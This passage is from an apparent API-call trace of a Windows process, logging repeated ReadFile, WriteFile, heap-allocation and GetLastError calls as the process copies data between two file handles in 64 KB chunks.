lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.975] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.976] GetLastError () returned 0x0 [0118.976] GetCurrentThreadId () returned 0x9b0 [0118.977] GetLastError () returned 0x0 [0118.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0118.977] GetLastError () returned 0x0 [0118.977] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.977] GetLastError () returned 0x0 [0118.977] GetCurrentThreadId () returned 0x9b0 [0118.977] GetLastError () returned 0x0 [0118.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.977] GetCurrentThreadId () returned 0x9b0 [0118.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653b8 [0118.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265358 | out: hHeap=0x2ad0000) returned 1 [0118.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0118.978] GetLastError () returned 0x0 [0118.978] GetLastError () returned 0x0 [0118.978] GetLastError () returned 0x0 [0118.978] GetLastError () returned 0x0 [0118.978] GetCurrentThreadId () returned 0x9b0 [0118.978] GetLastError () returned 0x0 [0118.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0118.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0118.979] GetLastError () returned 0x0 [0118.979] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.979] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.980] GetLastError () returned 0x0 [0118.980] GetCurrentThreadId () returned 0x9b0 [0118.980] GetLastError () returned 0x0 [0118.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0118.980] GetLastError () returned 0x0 [0118.981] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.981] GetLastError () returned 0x0 [0118.981] GetCurrentThreadId () returned 0x9b0 [0118.981] GetLastError () returned 0x0 [0118.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.983] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652a8 [0118.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653b8 | out: hHeap=0x2ad0000) returned 1 [0118.983] GetCurrentThreadId () returned 0x9b0 [0118.983] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0118.983] GetLastError () returned 0x0 [0118.983] GetLastError () returned 0x0 [0118.983] GetLastError () returned 0x0 [0118.984] GetLastError () returned 0x0 [0118.984] GetCurrentThreadId () returned 0x9b0 [0118.984] GetLastError () returned 0x0 [0118.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.984] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0118.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0118.984] GetLastError () returned 0x0 [0118.984] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.984] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.986] GetLastError () returned 0x0 [0118.986] GetCurrentThreadId () returned 0x9b0 [0118.986] GetLastError () returned 0x0 [0118.986] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.986] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0118.986] GetLastError () returned 0x0 [0118.986] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.994] GetLastError () returned 0x0 [0118.994] GetCurrentThreadId () returned 0x9b0 [0118.994] GetLastError () returned 0x0 [0118.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.994] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265368 [0118.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652a8 | out: hHeap=0x2ad0000) returned 1 [0118.994] GetCurrentThreadId () returned 0x9b0 [0118.994] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0118.995] GetLastError () returned 0x0 [0118.995] GetLastError () returned 0x0 [0118.995] GetLastError () returned 0x0 [0118.995] GetLastError () returned 0x0 [0118.995] GetCurrentThreadId () returned 0x9b0 [0118.995] GetLastError () returned 0x0 [0118.995] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.995] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0118.995] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0118.995] GetLastError () returned 0x0 [0118.996] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.999] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.999] GetLastError () returned 0x0 [0119.000] GetCurrentThreadId () returned 0x9b0 [0119.000] GetLastError () returned 0x0 [0119.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.000] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0119.000] GetLastError () returned 0x0 [0119.000] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0119.001] GetLastError () returned 0x0 [0119.001] GetCurrentThreadId () returned 0x9b0 [0119.001] GetLastError () returned 0x0 [0119.002] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653d8 [0119.002] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265368 | out: hHeap=0x2ad0000) returned 1 [0119.002] GetCurrentThreadId () returned 0x9b0 [0119.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0119.002] GetLastError () returned 0x0 [0119.002] GetLastError () returned 0x0 [0119.002] GetLastError () returned 0x0 [0119.002] GetLastError () returned 0x0 [0119.003] GetCurrentThreadId () returned 0x9b0 [0119.003] GetLastError () returned 0x0 [0119.003] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0119.003] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0119.003] GetLastError () returned 0x0 [0119.003] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0119.003] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0119.004] GetLastError () returned 0x0 [0119.004] GetCurrentThreadId () returned 0x9b0 [0119.004] GetLastError () returned 0x0 [0119.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.005] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0119.005] GetLastError () returned 0x0 [0119.005] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0119.005] GetLastError () returned 0x0 [0119.005] GetCurrentThreadId () returned 0x9b0 [0119.005] GetLastError () returned 0x0 [0119.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.005] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265288 [0119.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0119.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0119.006] GetCurrentThreadId () returned 0x9b0 [0119.006] GetLastError () returned 0x0 [0119.006] GetLastError () returned 0x0 [0119.006] GetLastError () returned 0x0 [0119.006] GetLastError () returned 0x0 [0119.006] GetCurrentThreadId () returned 0x9b0 [0119.006] GetLastError () returned 0x0 [0119.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0119.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0119.007] GetLastError () returned 0x0 [0119.007] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0119.007] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0119.008] GetLastError () returned 0x0 [0119.008] GetCurrentThreadId () returned 0x9b0 [0119.008] GetLastError () returned 0x0 [0119.008] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.009] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0119.009] GetLastError () returned 0x0 [0119.009] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0119.010] GetLastError () returned 0x0 [0119.011] GetCurrentThreadId () returned 0x9b0 [0119.011] GetLastError () returned 0x0 [0119.011] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.011] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653f8 [0119.011] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265288 | out: hHeap=0x2ad0000) returned 1 [0119.011] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0119.011] GetCurrentThreadId () returned 0x9b0 [0119.011] GetLastError () returned 0x0 [0119.012] GetLastError () returned 0x0 [0119.012] GetLastError () returned 0x0 [0119.012] GetLastError () returned 0x0 [0119.012] GetCurrentThreadId () returned 0x9b0 [0119.012] GetLastError () returned 0x0 [0119.012] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.012] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0119.012] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0119.012] GetLastError () returned 0x0 [0119.012] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0119.013] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0119.014] GetLastError () returned 0x0 [0119.014] GetCurrentThreadId () returned 0x9b0 [0119.014] GetLastError () returned 0x0 [0119.014] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.014] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0119.014] GetLastError () returned 0x0 [0119.014] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0119.014] GetLastError () returned 0x0 [0119.015] GetCurrentThreadId () returned 0x9b0 [0119.015] GetLastError () returned 0x0 [0119.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265308 [0119.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653f8 | out: hHeap=0x2ad0000) returned 1 [0119.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0119.015] GetCurrentThreadId () returned 0x9b0 [0119.015] GetLastError () returned 0x0 [0119.015] GetLastError () returned 0x0 [0119.016] GetLastError () returned 0x0 [0119.016] GetLastError () returned 0x0 [0119.016] GetCurrentThreadId () returned 0x9b0 [0119.016] GetLastError () returned 0x0 [0119.016] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.016] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0119.016] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0119.016] GetLastError () returned 0x0 [0119.016] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0119.017] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0119.018] GetLastError () returned 0x0 [0119.018] GetCurrentThreadId () returned 0x9b0 [0119.019] GetLastError () returned 0x0 [0119.019] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.019] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0119.019] GetLastError () returned 0x0 [0119.019] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0119.020] GetLastError () returned 0x0 [0119.020] GetCurrentThreadId () returned 0x9b0 [0119.020] GetLastError () returned 0x0 [0119.020] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265458 [0119.020] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265308 | out: hHeap=0x2ad0000) returned 1 [0119.021] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0119.021] GetCurrentThreadId () returned 0x9b0 [0119.021] GetLastError () returned 0x0 [0119.021] GetLastError () returned 0x0 [0119.021] GetLastError () returned 0x0 [0119.021] GetLastError () returned 0x0 [0119.021] GetCurrentThreadId () returned 0x9b0 [0119.021] GetLastError () returned 0x0 [0119.022] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.022] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0119.022] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0119.022] GetLastError () returned 0x0 [0119.022] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0119.022] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0119.023] GetLastError () returned 0x0 [0119.023] GetCurrentThreadId () returned 0x9b0 [0119.023] GetLastError () returned 0x0 [0119.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0119.024] GetLastError () returned 0x0 [0119.024] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0119.024] GetLastError () returned 0x0 [0119.024] GetCurrentThreadId () returned 0x9b0 [0119.024] GetLastError () returned 0x0 [0119.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265358 [0119.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265458 | out: hHeap=0x2ad0000) returned 1 [0119.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0119.025] GetCurrentThreadId () returned 0x9b0 [0119.025] GetLastError () returned 0x0 [0119.025] GetLastError () returned 0x0 [0119.025] GetLastError () returned 0x0 [0119.025] GetLastError () returned 0x0 [0119.025] GetCurrentThreadId () returned 0x9b0 [0119.025] GetLastError () returned 0x0 [0119.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0119.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0119.026] GetLastError () returned 0x0 [0119.026] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0119.026] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0119.027] GetLastError () returned 0x0 [0119.027] GetCurrentThreadId () returned 0x9b0 [0119.027] GetLastError () returned 0x0 [0119.027] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.027] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0119.027] GetLastError () returned 0x0 [0119.027] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0119.028] GetLastError () returned 0x0 [0119.029] GetCurrentThreadId () returned 0x9b0 [0119.030] GetCurrentThreadId () returned 0x9b0 [0119.030] GetCurrentThreadId () returned 0x9b0 [0119.030] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0119.030] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0119.031] GetCurrentThreadId () returned 0x9b0 [0119.031] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0119.032] GetCurrentThreadId () returned 0x9b0 [0119.032] GetCurrentThreadId () returned 0x9b0 [0119.032] GetCurrentThreadId () returned 0x9b0 [0119.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0119.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0119.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0119.033] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0119.033] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0119.034] GetCurrentThreadId () returned 0x9b0 [0119.035] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0119.035] GetCurrentThreadId () returned 0x9b0 [0119.036] GetCurrentThreadId () returned 0x9b0 [0119.036] GetCurrentThreadId () returned 0x9b0 [0119.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0119.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0119.036] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0119.037] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0119.038] GetCurrentThreadId () returned 0x9b0 [0119.038] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0119.038] GetCurrentThreadId () returned 0x9b0 [0119.038] GetCurrentThreadId () returned 